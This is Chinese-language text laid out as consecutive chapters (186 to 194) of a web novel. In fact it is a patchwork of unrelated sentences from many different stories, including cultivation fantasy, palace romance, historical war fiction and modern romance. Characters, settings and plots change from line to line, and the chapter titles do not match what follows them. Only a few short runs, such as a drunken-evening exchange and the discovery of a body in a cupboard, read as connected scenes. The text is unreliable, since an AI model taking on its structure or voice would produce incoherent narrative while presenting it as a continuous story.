为首两人,一个顶盔挂甲,体态威武,身型虽然也是十分高大,但却没有给人带来一丝粗豪的感觉。这人国字脸、通关鼻梁,剑眉下一双精光闪烁的虎目,端的是一副威猛逼人的好相貌。
第一卷 第186章 恶果
一瞬间几十个黑衣人齐刷刷掠向燕翎羽,燕翎羽见大事不妙赶紧转身跑路。
当然我只是猜测,毕竟当时白婕来找我的时候,知道我表叔的名字。
姜云看了看西方天边的夕阳,抽出一张餐纸擦了擦嘴角,含笑地道:“还有五天吧!只要赶在开学前到达即可,去早了没意思!”。
一来到大院前,看见大院门口紧锁,姜晴晴满脸通红地暗自咬牙,心里不知道为何,总是特别的不舒服,忍不住忿忿不平地自语道:“云哥哥这个大混蛋!大白天的,,,居然?!”。
“好了!我已启灵激活,并留下一缕神念烙印在里面,你们可以随意而动,收回或使用武器都可以!以后,等你们突破到练神境,开了识海,我就收回神念烙印,你们自行烙印神念即可!!”姜云摆手微笑地道。
“对了,所谓罪孽,就是生前或此生,犯下不可饶恕的大错,比如杀戮凡人,干超级缺德的事情,还有违逆天道之类的等等!”。
反正便宜谁也不能便宜简宁,她们之间是永远不可调和的阶级敌人。
是以,简宁捡了个男人回家的消息就像长了翅膀一样,以势不可挡的速度疯狂撒遍村庄各个角落。
只是让我没想到的,罗盘在这里拿出来,指针也是不受控制的跳动着。
“所以,你看看,我云哥哥能考上大专学校,我都觉得是天上掉馅饼,简直是不可思议了!我妈妈还提前帮我云哥哥找了一个职位了,说什么去安平中学当保安!!”。
妖丹被毁,这条巨蟒像被抽去了脊髓一般,瞬间失去了力量,庞大的蟒身轰然落在了地面之上,扬起一片尘烟。
此时。二人才感觉到自己的见识少了些,此次出来,到是见识了不少。京城的人,天子脚下的人,料想有些手段。
耳朵里都是伤兵哀嚎的声音,王兴新手足无措的看着那些伤兵。他不知该如何时候,那肚子被捅穿的士兵伤得实在是太重了,肠子都捅破了,这样的伤势就算是在医疗设备都齐全的现代也很难活下来。
那两人被二哈这一长叫给吓了一大跳,而后则是又惊喜又羡慕,与陆平又吹捧了几句,这才带他去见赵有才。
不说炼制道衍剑所需的八十一中炼器材料,按离央有限的了解以及认知,里面就有几十种珍贵的炼器材料,集齐它们的代价无法想象,不说离央自己,即便是倾一个门派之力,恐怕也唯有那些顶尖的宗门才能集齐。
“呵呵,现在时间不多,我必须去追赶我妹妹了,不过我倒是很期待与你们再次相遇。”陈况笑道,他挥手告别,在阶梯上留下残影。
这根手指,大的无法想像,仿佛遮天蔽日一般,笼罩了整个天地,仿佛这一指落下,它们就会全部陨灭。
第二日一早,苏风暖还没起‘床’,宫里却早早地来了人,说是奉了太后懿旨宣她进宫。
司徒慎瞥了她一眼,双手抄在‘裤’子口袋里,冷冷的继续往下走。
其实杀西门庆的时候,他当时也下不了手,所以故意侧身对着西门庆,给西门庆一个偷袭的机会,也给自己一个杀他的理由。
王玄真开车直接返回酒店,停到门口之后曹善俊就已经在等着了。
三妖满脸的紧张,不停将各种安抚的法决,打入罩中,斩月鲨更是面色阴寒。
还有什么人,能把所有人都绕的团团转,能把这永徽城的一切都运筹帷幄得如此服帖,最重要的是,究竟是什么人,对这永徽城底下的秘密如此地熟悉?
数百万骑着翼龙、大鹏、大鹰等等各种飞禽飞兽的箭手好似一层层的乌云自地面腾空而起,‘哗啦啦’的飞扑了过来。
听了这话,那夫妻两嘴唇吓的惨白,哆哆嗦嗦就跑回家去了,没一会儿又哭着跑回来,手上还拖着一个纸糊的箱子。
红灯停,绿灯行,林晓鱼今天很开心,在易永恒走了之后,她发给易永恒一个短信,本来没什么期望的,想不到易永恒居然回复了她,还约她出来喝咖啡,依旧是上次的那间咖啡店。
但是,慢慢接下来,其他玩家已经清楚,金陵IP号的一往情深和青檬两人是联合起来,相互骗取其他人的豆豆。
赵强毫不在意,自然而然的放下了右手,仿佛什么也不曾发生过一样,很随意的找了一把椅子坐了下来。
虽然王老手上剩余的血液样本并不多,但足够王老从中发现制造解药的关键了,只要解药能够上市,人类与丧尸之间的战争便有了胜利的希望。
第一卷 第187章 生辰
他大步流星迈步离开,再经过桌边时,想了想,还是拿了车钥匙,亲自去她公司接她。
牧云惊奇的发现周围的树木开始朝着自己移动,似乎因为自己释放了某种东西而愤怒。
“你要钱也可以,我不缺钱。这样吧。我先回去,明天再给你。”华少准备放个空话。
许多实力不济之人纷纷被能量圈所带出的气势所震撼,一些人更是当场跪在地面。
原本就保持着警醒的夏奇一个骨碌从床上爬起来,这个震动,他太熟悉了。果然,没多久,夏奇就透过敞篷的接口,看到一个三十多米长的黑影出现在了夏奇的事业当中。
“咯咯咯……”见沈平这个样子,黎彬彬再也控制不住笑出了声。
听完刘希望口中所言内容后不由稍稍一愣,对于凛冬军团的撤离同样感到非常意外的楚原不由继续开口问道。
“好啦,昨天的事情都过去了,多亏了大家我们才平安无事,那么我们接下来要去的那个叫做春风镇的地方,又是一个什么样的镇子呢?”温莉摆了摆手,虎彻等人说了一大堆都是她听不懂的话。
这时候一只雪元素猛地朝着牧云挥手而来,只见牧云轻轻抬起手,一掌破碎雪元素。
“这是……涅槃?”秦川相当的惊讶这头凶兽太妖邪了,都到了这一步了,还要逆天不成?
“……既然决定留下,谷大师就记得的本分”收回目光,黎君冷冷地说道。
赛琉的声音惊醒了塔兹米,塔兹米这才反应过来:自己莫名其妙地升了官。
这些强大的阴魂,应该就是修士被挂魂树杀死后形成的阴魂。还好除了定心师太阴魂,华天并没有发现其它实力在归真境之上的阴魂,这对于众人来说,也算是个好消息。
母亲树偶对孩童有一种天生的保护性与亲和性。许多富裕阶级都会想办法购买母亲树偶来陪伴孩子的成长。
杨帅怒气冲冲的出来,迎头却遇到一个意想不到的人,马君武。杨帅大喜:“君武兄。”刚要上前握住双手,突然想起什么,脸色一暗,摇摇头很是痛苦的样子:“哎。”然后直接闪过马君武。
有了猿风的帮助,虎烈终于止住退势,在两妖的共同努力下,这鬼树被一点点从地下拉了出来。
当初,为了帮老大筹集断臂重生的资料时,秦川曾滴下他的几滴武道精血,对于老大的影响极其深远。
【会不会是原剧中,还没有被发现的一些武器?】吴凡不免这样想道。
吴佩孚乃是直系新秀,窜起的速度十分惊人。而也正是直系内部有不少这样的新秀崛起,让直系势力在北洋的内讧中能与强大的皖系一分高下。
杰克心中一声惨笑,忍了这么久,仇还没有全部报完,自己就要死在这里了吗?
“好,好,知道,记住了。”想到病重那几天,是苏桃日日夜夜守好在一旁寸步不离,纪清远刚要硬起来的心肠瞬间软了下来,他不由的暗叹一声。
两个月了。经过两个月的时间。他还未忘记。申屠夜欢对他所说的那句话。
所以我还是那句老话,去批量弄出来大量的傀儡,任何神陆的操作都用傀儡进行。
敢为集团在松江已经开发了一个地产项目,找人问相关经验,不是什么难事,刘毅松点点头就答应了。
张良虽然没有说共同的敌人是谁,但是墨家和流沙,以及在场的所有人都心知肚明,张良所说的乃是大秦。
王建开心的笑道:“终于看到你也有不认识的了,我还以为你是什么都懂呢。”一边的李成和杨凯明也是感同身受的附和大笑。
看着白羽鹤恢复如常,段青焰原本应该高兴地,却因为秋狂的事情,怎么都高兴不起来。
在天明走后,云魅和盖聂缓缓走了出来,盖聂捡起被天明扔掉的尚同墨方,微微叹了一口气。
当陈睿抬起头时,只见还勾着他手指的陈薇薇已经睡着,虽然今天状态不错,不过探视的人比较多,陈薇薇已经累的昏睡过去。
“好了,你什么也不要说了,要到下班的时间了,我该走了。”童乐郗低头看看自己的手表,笑了,这是陆研送她的第一份礼物,她很喜欢。
只不过,原本眼神如刀,要对杨言说点什么的她,却突然看向了前方不远处,随即娇躯一颤。
当然,最后一句话童乐郗是不会说的,丢脸这种事情,还是不说了不说了。
一时间,赤红色的岩浆在虚空中流淌,阵阵热浪涌动之间,无数的星球碎片被强烈的风暴卷起,飘向虚空。
“会长。”所有人异口同声的和燕昊打着招呼,同时用诧异的目光打量着她身后的叶贤。
阵阵秋风过去,怨花眸子显得极疲倦、厌恶,躯体仿佛都已在轻轻颤动着。
虽然仅仅九星战将的狄虎修为不高,可凭着凶兽本能,也带着颜清韵一路有惊无险的取得了不少所需灵宝。
“哈哈,不多、不多,只要四成便好了。”王祖河依旧恬不知耻的说着。而王祖河身边的刘青和孙丁毅却是有些惭愧,都是低下了头。
里面一人负手而立,金黄色的衣衫,金黄色的发冠,金黄色的发簪,金黄色的戒子。
因为她已发现无生盯着自己,没有说话,有时比任何话语还管用。
叶高雄带着高莉,上了宝马M6,叶天也带着叶依瑶上了第二辆车。
第一卷 第188章 醉酒
“你猪头呀,应该是四个字!”不三对着不四的后脑勺啪的就是一巴掌。
悬浮在星雨楼周围的五张符箓全部化成黑‘色’天雷,在风凡心神一动之际,五颗由天级高阶天雷破符箓化成的天雷发生了剧烈的爆炸。
赵忠心里震撼挺大的,不过脸上依旧笑着,没有说话,也没有任何表示,只是慢慢的抽了一口烟。
“只看了吕后把戚夫人做成‘人彘’那一段。”茗慎勾唇一笑,灵犀适时上前奉茶,她接过和田白玉茶盅,望着盅里红浓明亮的汤色,轻轻吹了口气,似是一声无言的嗟叹。
十分钟说长不长说短不短,被‘抽’了很多血的萧晨在第九分钟的时候便陷入了昏‘迷’,赵老并沒有就此停手,成功与否,便在此一举。
幻兮几乎是飞过来的,二话不说,一把便掐住了清远的脖子,日渐用力,尖长指甲已往皮肉里陷进了浅浅一层。
“那他是如何失踪的?”孩子是父母的心头肉,一天不见尸体,也不愿意相信他已经离去,这符合人之常情。
风凡仔细搜寻着、询问着,但都一无所获,心中不免有些失望,看来深海钛精确实难以得到。
水涨一尺、金山寺便涨一尺;水涨一寸、金山寺便涨一寸。一任四野沦为碧海,整个金山寺依旧宁静祥和、安然无恙。
瞬间,抱着孙倩的韩羽如同流行一般的向上腾空一串,然后又在崖壁上点了下,又蹭的像闪电般的往上而去,下一刻,抱着孙倩的韩羽就出现了崖顶上。
整个身体无力地摔进柔软的杯子中,像是陷入了一层奶油蛋糕一样。
相对而言,两个实力差不多的人,在战斗的时候,都不容易现对手的破绽。或者明知道对方有破绽也不愿意尝试打乱自己的节奏,把握机会。
不过这个秘密似乎在第五流明的圈子之中并不是什么秘密,否则的话,第五流明也不会说的如此直白。
“一会,会是风尘最可怕的一面,说好了,不许讨厌,不要拋弃风尘。”风无情没有回头看那双让人心疼,让人心醉的大眼睛,而是微微的抬头,看向远处水面上冒起无数的血红,如喷泉一般,又如海底火山爆发一般。
张入云闻自己师伯偷东西竟偷到了楚妃子后院,一时红了脸,连忙起身告罪,可二老却只玩笑而已,一语带过,丝毫不放在心上。
随之而现的,是无数的实质化勾魂使者,蒙着血红的长袍,在巨门之中,分两边而立。
神龙拳的威力,并非是林云的剑气,或者是其他的「魔神之技」能够媲美的。
不过,他们随后凝神,也是猜测到了下一代族长怕是要自这两人之中诞生了。
赌坛不同别的地方,名声不显,闷头赚钱的大有人在,就算林天成和几个赌坛高手有交情,谁知道这次大赛会不会有黑马。
安神树的作用大大岀乎龙平凡的意料,在后天后期期他的精神力能感知十米以内的一切生物,而到了先天则能感知三十米以内的一切生物。
周衍盘坐在了床上,深深吸了口气,刨除杂念,沉下心神,慢慢进入空灵。
可是无论大家情绪有多么的暴躁,无论有的客人怎么乱吼,台上仍然空无一人。
明若瞳寻声望去,只见一个比自己高了一头不止的雌性身影正朝着他们的方向走了过来。
雍州虽然还不在刘备的手上,现在只能遥领,但侍中可是实打实的。
他回这个没头没脑的三个字,隔了半个月的宋镜要不是看见自己上一句问的话,估计都想不起来她问了什么。
周衍随便从储物戒中扔了几个玉佩出去,反正这些玩意儿多,又值钱,老东西特别喜欢。
关羽把刘禅等人扔在江边,就自己带人抓紧去军营,研究下一步北上作战的计划。
虽说她有自知之明,知道自己在这么黑的环境下就相当于是瞎了,独立行动危险性确实太高,所以闵墨说的话完全合理……可是为什么,总感觉哪里怪怪的?
她微微呼出一口气,随后轻启樱唇,下一刻,甜美的嗓音在空气中响起。
唐辰身后的十尾附体,漆黑的权杖出现在手中,周围五颗求道玉不断盘旋。
“姥姥走的时候给我们洗完了,不用你洗了,你吃饭了吗?”晓怡见香草一脸疲惫的样,心疼的问道。
别看老爷在外面有多风光,可是一到家里就被夫人给管的死死的,大气都不敢喘一个的主。丫鬟们面面相觑,心知肚明,尽量着保持者眼观鼻鼻观心什么也没听到什么也没看到的状态。
他还有一句话没说出来:除魔就除魔,拉着我这傻儿子过去有什么用?
素婉望着叶景生那儿担忧的神色,嘴角忍不住地上扬,慢慢的视线却变得越来越模糊,最终只能听到一声声渐渐远去的呼唤。
目光深深的注视着罗恩的那个屏幕显露出来的画面,冷静了一下,理伯还是做出了选择。
尽管她说的话辞月华都在做,可是却不像一开始那么果断勇猛,这让她心里隐隐有些不安,所以这一次,她直接下了死命令,更是猛烈地催动着辞月华体内的毒性。
林伊人并未注意到叶倾城的反应,她也没想到草世木就是叶倾城。
“炼制此丹需要温和之火,明日出去买些清明草做燃料便可。”然后王飞腾盘腿坐下,开始了日复一日的练气。
夏天记得,刚出现心愿卡牌的时候,也曾经在路上遇到过一张红牌。
比赛刚刚开始,双方的体力和剑气都很充沛,江流现在的表现,说明江流的剑气强度不如对方。
他认为帝王将相的头衔并不能代表什么,只有他的做法……才算是掌握了“真正的权力”。
第一卷 第189章 失态
送至房门口,任风玦才松开手。
夏熙墨解下氅衣还给他,扫了他一眼:“能走回去?”
“可以。”
“好。”
她转身进了房间,见他仍立在门口处,又挥了挥手。
然而,才关上房门片刻,门外便传来一声响动。
不过幸好瑞萌萌还有系统,不至于像隔壁的赵信那样两眼一抹黑的情况。
虽然有的刚愎自用,有的草包一个,可这句话还是能够听得懂的。
至于那些兽皮,兽血,心脏结晶,因为娄扬说自己看不上这些东西的原因,所以自然而然就落到了萧十三的腰包里。
陈留郡,已经不属于豫州了,而是位于兖州境内,位于兖州东部。
萧十三也没准备现在动手,所以看着他走向刑场,发表了一场热血沸腾的演讲后。
下楼上车,一辆奔驰超跑启动,随后融入了车流之中,向着郊外开去,他不知道那个幽灵是否跟着自己,只能尽量的加速,他的住处在较为偏僻的一个湖畔,健造在湖面上。
不得不说,方孝玉这要求一提出来,大家都露出了惊愕之色,分神,控制,他们怎么都想不到方孝玉竟然是要收服他们为己所用。
原来方孝玉昨天晚上发现四方道人所谓的恶鬼化灰留下的痕迹竟然只是锅底灰而已,加上那恶鬼出场之后的反应,方孝玉就对四方道人起了疑心。
不过就在这个时候,两个意料之外又是情理之中的人出现在龙金刚的门前了。
Peter转身向两人所在的方向,皱起了眉,这是找完了茬还要来秀存在感吗。
也对,她一个职员怎么能让少董到处找呢,这件事她做的确实不对。
湘西号称“九山半水半分田”,青山碧水好风光,青山木楼、碧水梯田让人看的心旷神怡。赵诚掏出相机,对着逃难的行人和北上的运输车队一阵猛拍,能够见证历史也是一种幸运。
独孤心慈和几位护卫相识也有四五年了,像这样挽起袖子划拳吃酒也不是一次两次了,几位护卫也是老兵痞,划拳那个熟练,兼以各种喧闹干扰,独孤心慈虽聪慧却也只能以一敌八斗个旗鼓相当。
林淑对于这种事情似乎有些不太了解,而且最主要的是还一副责备的模样。
还要等朋友气消了撤销?到时候关注度已经很高了,又突然撤掉。如果自己没给出强力的证据,别人还以为私底下发生了什么事呢。
林自大的一只脚把武当踩在了虚弱的薛荣丹地上,失去了武当。薛荣被当作废物丢弃修理。从那时起,他只带着普通人延长他的生命和生存。
她说得很理所当然的,云激扬虽然早就知道她有很多奇思妙想,只是这个想法未免太野蛮了一点,好像她是很有雄心似的。
伴随着两人每一次的对碰,便会爆发出惊天动地般的声响,仿佛打雷地震了一般,连大地都在颤抖。
以陈峰如今的实力,虽然不能说百分百完胜赵鲲鹏等九名天阶强者。
“这地界迟早都会有一场大战,此战甚至可能波及两界,到时候再见机行事即可。如今我等还没有资格卷入夺宝争斗。”他们虽然也算计各大势力,可齐玄易也没有办法预测到底哪一方势力能拿到化龙丹。
第一卷 第190章 失踪
这下轮到任风玦愣住了。
他紧张问道:“不知昨夜…在什么地方冒犯到了夏姑娘?”
夏熙墨手上微顿,眼底似是掠过一丝异色,却只回了他两个字。
“忘了。”
“……”
她继续悠然吃饭,并又说了一句:“酒量不行,以后少喝。”
任风玦连忙点头,竟像是在向她做保证。
而自己也随着动作的延伸,心灵的扩展达到一个非常完美的境界,在这一瞬间,林成有种心肺舒畅的感觉,那被李朝宗击了两掌的心肺,有种焕然一新的感觉,不再烦闷,不再气短,林成闭上眼,享受这难得的舒畅。
聂士成和冯国璋等南方军军官都紧紧捂住耳朵,微微张着口,刚刚八门克虏伯钢炮齐射时发出的声音简直可以用震耳欲聋来形容,巨大的后座力让整个阵地都为之一震。
他的魔兽只是提升他的战斗实力,对他本身的实力没有帮助,级别提升也只会提高他的身体素质,以及灵魂强度,但是对于这些实力问题,提升并不大。
他在六十多年以前公开自己不是自然诞生的而是编入了优秀的遗传基因而被制作的人之后调整者的历史开始了。
在“无泪城”中,时间永远都是静止的。也就是说,不论是几万年前踏足这座城池的人,还是几万年后踏足这座城池的人,从时间上而言,他们进入这座城池的时候,是处在同一个时间点上。
“差不多了,慢慢吃了吧!别哽着了”大叔摸了摸肚皮,舔了舔嘴皮子淡淡地说道。
是龙飞的拐杖。带血的拐杖正在黑大个的腋下。虽然并没有让黑大个受伤,只是这轻轻一点便让黑大个的弯刀停下了进攻。所有人都感到惊奇。
“你们是何人?竟然擅闯大将军营帐?”纪灵瞪大双眼,看着龙飞和典韦。
岳紫珊本来怒气上来,但是此刻索菲亚接过这个茬,她也乐得坐山观虎斗,因为岳紫珊已经隐隐的把索菲亚看成是林成的情人。
那是一种仇人相见分外眼红的情绪,虽然,他努力想让自己的心态继续保持平和,但是,他那微微发颤的声音,和那双已经死死捏紧了拳头的双手,却分明暴露了他内心的真正感受。
他现在的思维会十分十分之凌乱,凌乱的意思无非就是他到最后也不知道该说什么了,所以他的世界里面需要别人给他自己去打气的。
她们好几次反胃想吐,为了不暴露他们的身份,只能强行压制回去。
先统一了古武界,掌控了所有资源,而后又在悬空岛打下基础,他们九幽门一飞冲天,绝不是梦。
“如果这样的势力加入到了吴三桂的阵营当中,那吴三桂要取下整座江山,还真不是说空话。”康熙倍感担忧的皱起了眉头。
“哎哟哟,哎哟哟!”曾强好不容易扶着椅子,脸上因为疼痛扭曲到一起,看着一起喝豆浆的丰流还有夏姣。
“没有什么,你要是对朕下手,早在济世会总坛的时候,就出手了,而不会等到现在了。”康熙说道。
大约几分钟之后,康熙皇帝才跟赫舍里玉儿恋恋不舍的分开。赫舍里玉儿被康熙皇帝轻轻的拽着双手,坐在旁边。
他请求饶已迟了,呼声中,老人的右拳已击出,只听‘砰’的一声,赵疯子的身子竟被打得飞了出来。
第一卷 第191章 疑窦
当日,颜正初收拾了一些法器,与众师弟们告别后,便下山去了。
山下小镇内,早已恢复了往日的宁静。
通过告示可知,镇官李成已被卸任,而新的镇官今日刚到云霞镇。
这丫头就是在琢磨这句话,只要这句话想明白了,那自己的问题也就解决了,目前自己能找谁去,自己阴差阳错来到了这个白家,难道不是天意,这不就是近水嘛,能把自己救出来,那就能帮助自己报仇。
“我……我是来看药儿的,又不是来面圣的。再说了,我也不是朝中臣子,也不是要考取功名的才子,更不是后宫的各位娘娘,何来面圣一说。”她的歪理倒是不少,姬无倾说一句,她能说两三句出来。
“妖神宫不是在川州么?你怎么跑到齐州来?你一定是在说谎。”我淡淡地说道。
出了楼层,马武龙说要带我熟悉一下这边的情况,我们边走边聊。
邵安到时,冯彻居然不在家,只有他的夫人和稚子在此。冯夫人荆钗布裙,正围着炉灶在炒菜。见客人来了,忙出来泡茶招呼。
独孤媚儿笑了,笑的很是讽刺,只不过透过帷帐看,讽刺变幻成了妩媚,皇帝看的欣喜,笑的更加放肆。
想让夏雪好起来,肯定要在做手术的,可能是之前做过一回手术了,术后夏雪还是这样,而且脑部手术的危险性极高,弄不好就会丧命,夏雪妈妈已经不愿在冒险……她不在说话,只是在使劲拽着我的胳膊,试图抢回夏雪。
在乌蒙岭中绕过大片范围,罗浩和陈天他们才带着众人看到乌蒙岭的出口。
周瑜三人选择靠大陆海岸线前行,无形中增加了航程,又过了两个多月,汉军在波斯已经攻打埃克巴塔纳的时候,周瑜他们的船队来到了天竺靠近孟加拉湾附近。战船停泊在了恒河入海口,准备补给一些物资。
我的第一反应,并不没有急着追上去,在我的潜意识里,还是舍不得杀掉妖妖的。
回想起刚进七王爷府的时候,蓝星儿的心莫名的抽搐了一下,眼下物事已非,那种落寂的心情怎是一个凄凉了得。
乔安娜的对手没有她那么高调,因为当你在外形上无法让观众呐喊时,还是乖乖把‘精’力投入到比赛中去吧。姑娘身材略矮,也是一头金发。有一点与乔安娜不同,她是左手拿剑的,是个左撇子。
“怎么了?不愿意?那可不行,你现在拿着我们黑焱洞天的魔剑,你就是我们黑焱洞天的老大!”东方古笑着说道。
君墨尘拿起一块糕点仔细的端详了一番而后满怀期望的放进嘴里,这一连串的举动让一旁的君墨熙也极其紧张的咽了咽口水,似乎也在期待这块糕点到底何种口感。
如果不是有日向日足这个反面教材存在,火影世界几乎就可以达到了全民弟控的地步了。
“但凭大人驱使。”洪承畴见他不肯多说,事关机密,也不敢贸然追问,但他似是给自己劝说得动了心,想法子來对付神一魁等人,心头一阵暗喜。
可是现在开战,自己的绝对战力比起预计明显要差了一个档次以上,对付转轮王这样的强敌还做不到全方位碾压。
第一卷 第192章 藏尸
梓潼脑中灵光一闪,突然想到了什么。“流光舞尽仙山口,仙府石门水洞开”,那个给自己云城秘录的老头最后吟咏了这两句诗。
等她拿回来黑色信封,我关好门,把手中的两个信封都拿了出来,在放大镜下,我们对比了三个信封,从材质、痕迹、印刷上看,完全都是一样,无法分辨出真假。
她倒是一直没睡着,只是任他抱在怀里,听他呼吸声。等他睡着了。她去洗了澡,换了睡衣过来,在他身边躺下。只那样瞧他,觉得心满意足。
尽管龙腾手里的拐杖并不是长矛或是打枪,甚至连点尖锐的地方都没有,可是以龙腾宗师境初期巅峰的实力,只要他能够将其刺在夏凡的身上就绝对比真的枪矛造成的杀伤力更强。
轩辕龙那能看不出,这是在逼自己,懊恼这巴特逼人太甚,以及李峰的拒绝。
“昨天的手术是成功了,她的左腿算是保住了,可是后续的治疗也一定要跟上,不然搞不好就会落下残疾,进而影响孩子的一生!”王医生担心的说。
只见一具白骨就那样躺着。不远处的山洞入口下边是一条宛延的死水,而这白骨下半身浸在水中,上半身躺靠在岸上,而茗雪刚刚踩到的竟是白骨的骷髅头骨。
跛脚老者见状,大惊失色,连忙挥动手中的黑铁拐杖,格挡开两枚箭矢,可还是被紧接而来的狂暴飓风,给当场轰飞到了屋外。
这样就好。她想,不由得笑起来,抬起手腕来瞧,觉得十分漂亮。
面对这种刀枪不入、水火不侵,连神器都没有办法造成多大伤害的傀儡,夜风是真的有点没辙的。
从总控室出来,凌尘径直来到凌耿秋休息的房间。植入了那颗血红色的魂石后,凌耿秋的情况已经好了很多,身体渐渐恢复原状。进了房间,凌耿秋早已经醒来,坐在床上,手里捧着一本杂志,看得津津有味。
这个确实是个问题,你找到的人不一定可靠,那他给你办出来的事情,那就很垃圾,到时候你还谈什么赚钱,名声都会给你败坏。
渤海治府南皮城内的郡守府,袁绍将手下谋士良将召集于一堂,显然是有要事相商。
赤由穿越成为舰娘至今,其实有不少可以领福利的机会,比如和风温泉浴场共浴神马的,但赤由那份闷骚的宅哥心却一直在作祟。
为何一定要追踪紫鸢?何不逼着紫鸢自己现身?血鬼说的这几种方法可行性都很高,都比这么跟在后面追下去好太多。
“你们什么时候想好了,就告诉我们,只要你反应的情况属实,立马就可以放你们离开。”邵逸天说道。
“这么多的槐树!这天气热了来这溜达下倒是不错!”崇祯笑着道。
如今,看到自己的师父被人当着面的羞辱,秦天心里,说不出的愤怒。
虽说距离足够远,并且也会有很多路上的麻烦事儿,但是赤由却依旧选择了前往,比起无脑搜查地图上的疑似坐标点来说,这个更加偏向于赌博的选择更加能够被赤由所认可。
过了一会,扶风就差将炉子移到门外了,见应罍还是不满意。所以这王爷到底是要取暖还是只是单纯的像远远的欣赏炉子?
一年的时间,已经够了,足够她收集到陆家的不少资料,更何况还有宫铖憬在背后帮忙。
“禹王?”顾笙歌皱起了眉,先帝儿子为了帝位,早就所剩无几。月炀帝继位后,更是只剩渊王和禹王。渊王和月炀帝都是先皇后所生,而禹王则是皇贵妃的独子。渊王留守京城建造渊王府,而禹王也封赏封地北原。
这些老人平时留在村里也只能种种地聊聊谁家孩子又找了什么工作,一个月能赚多少钱,或者谁家又盖了新房子之类的话题。
“师叔?”迟遥思考良久,终于勇敢的对上洛封尘那令人着迷的眼眸。
当然最高兴的就是苏嬷嬷了,每天都笑得花枝乱颤,精神气倍好。这也不能怪她,从前在府里一年到头都很难见到王爷一次,现在却隔三差五的能见到王爷,这可不就是说明王爷王妃感情好如胶似漆嘛。
要是陈嘉现再就过去破坏妖尊复活的仪式的话,恐怕拾方妖邪都会受到法阵猛烈的反噬,到时候整个万妖宗怕是在没有妖是陈嘉的对手了!!
“我说的就是实话呀。”林月沉觉得自己可无辜了,这年头连说个实话都没人相信了。
因为看着贺言一那越来越暗的脸色,她有种错觉,这个男人很可能会把她当场掐死。
光是这样就算了,可是就連让白浅打扫房间这种事,都是陈嘉以不作饭为威胁才让白浅就范!!
西斯科,震波随处可以打开缺口,但现在西斯科在自己的神速力空间中。
最关键的是,他现在的身体状态,很可能抗不过艾斯德斯的时间冻结。
此处乃六界最尊贵之所,这里神光永照,永无黑夜,这里是六界生灵最终的追求之所,神界的天边云雾涌动,变换万千。
“本座叶石,观你骨骼清奇,欲送你一场造化,传你大帝古经一部,不知道你可愿接受?”来人也就是叶石开口道,只不过说出的话却让众人有些摸不着头脑。
下课铃响了,刘老师和蔼地对同学们说:“下课了,解散!”同学们高兴地向教室走去了。
电话是一个男生接的,那是属于沉奈默特有的声音,然后是吴圣赫充满磁性的声音,他们在说,再说钱玥涵失踪的事件,同时将钱玥涵就是他妹妹的事情一一的讲给他听。
不过白三仔细想想,倒也是可以理解的,因为鬼手是一件至阴至邪的法器,寻常武者自然没人要这个东西,而需要的人,也不用作过多解释,更不会吝啬这点钱。
第一卷 第193章 转魂
藏在橱柜中的尸体,是一名年轻男子。
此刻,他正瞪着一双瞳孔涣散的眼睛,与橱柜外的余琅对视。
但尖锐的惊呼声,却是从身后秋姨娘的口中传来。
“岳儿——”
“我的岳儿啊!”
余琅尚未反应过来,就被这妇人用力推到一旁。
李治心中紧张得不得了了,到底答应还是不答应,自己的这个妻子,羽翼丰满,不是他想要废除就废除的,想当初做过一次,结果呢,不是死了,即使残废了,所有的努力付之东流。
墨迟不慌不忙,显然是在卖关子。只见他收敛了笑意,露出一本正经的模样。
手中长剑顺势抵挡那道黑色光泽,只听得“铛铛”脆响连珠,一虹一黑两道光束交织盘旋。
“塞猜厉害之处在飞头,这身体能力不大就交给你们对付了,我去帮帮阿四。”罗三水说完就冲了出去。
这段时间,顾颜颜的工作也算是告一段落,在电影上映之前……顾颜颜推了所有的代言和广告。
张蒿已经将所有的药品都取回来了,还按照我的吩咐都给研成了细末等着我来配。
他面上沾染刺兽的血浆,但神采迥然,浑身上下充满了电流,细密雷电噼里啪啦地劈炸着。
凌子桓和阮柒雪静静地躺在草地上,彼此的肩膀传递着身体的温热。
沐风不可思议的抬起出拳的右手,发现整个拳头都已经红肿了起来,而且还传来一阵阵火辣辣的刺痛。
凡是被此瞳注视之人,无不灵魂急剧震颤,体内鬼神之力也不由得为之一滞,调动起来十分艰难。
这两件东西取出来,木箱子瞬间空了一大半,里边空落落的只剩下一套男装,那是宁父生前的衣物。
全部的锁链崩断的瞬间,甘天的双眼反射出蔚蓝色的光芒。无尽的紫色光点自铠甲的缝隙间喷出,而后那一片片地铠甲严丝合缝地紧贴在一起,构成了一套紫色为主,白色为纹的铠甲。
现场的杀戮单方面展开,皇帝被匆匆移到看台上,被大军严密看守住。
这是只有在高楼顶端,透过特殊的玻璃遥望落日,欣赏到的景色。
在炼金系凡是能叫出名号的天才炼金师全都来了,一个个神色很凝重。在他们看来,莫林这是有备而来,就是冲着他们这些天才炼金师来的。给他们观察莫林炼金术水平的机会,只剩下第二场动手炼制了。
原来她说了自己的名字,又直白道破他的身份,都是为了证明她脑子还灵光,她没有走错。可她越是如此,却越是证明她真的醉了。
张大夫等人没听到应昊在她耳旁低声说的那句,便是笑眯眯地瞅着他俩,眼里满是暧昧。
一路走来,经历了这么多事,枫凌并非当初那般不分青红皂白、逮着邪灵师便要对其喊打喊杀。
显然,夜鬼结界并非被力魄强行破开的,而是夜鬼王主动打开的。
“前几天我父母无辜被郑辉打伤,你怎么没把郑辉关进去?”林一凡质问。
林一莲他们没有任何异议,因为目前的情况,只有林一凡最了解;他的安排,是最合适的安排。
所有的目光,都是鄙夷的落在秦焱的身上。那一双双如刀的目光,落在秦焱身上,却是没有泛起一丝涟漪。
第一卷 第194章 窥凶
片刻,漫天血雨飘落,露出了蓝衣人的身影,他正盘坐于地,手中木剑平躺在双腿上,脸色平静的看着眼前。
终有一天她的真面目会显露在他的面前,到时不知会形同陌路还是变成敌人,都未可知。
无忧公主刚想否认,但一抬头对上玄武帝那双阴鸷的双目,心中一凛,瞬间咽下呼之欲出的话。
“以后不许再说换父王,父王很疼你,你这么说他该伤心了。”慕雪芙搂着她亲了亲。
斩尽杀绝冷冰冰的说完,马队杀到,最前面的一排人突然凌空飞起,身子一闪,竟然腾云驾雾,飘到了我们的身后,祭出法杖,像尊雕塑一样截断了我们的去路。
然而任由秦昊如何反抗,他始终无法抵御那股力量的侵袭,情况越发的危机。
现在想想自己那个时候的样子和慕昭霖第一次见到慕雪芙母亲时的样子应该是如出一辙。
血魔神成名的时候,就是十六岁,很多血魔神后裔成名的时候,都是十六岁。
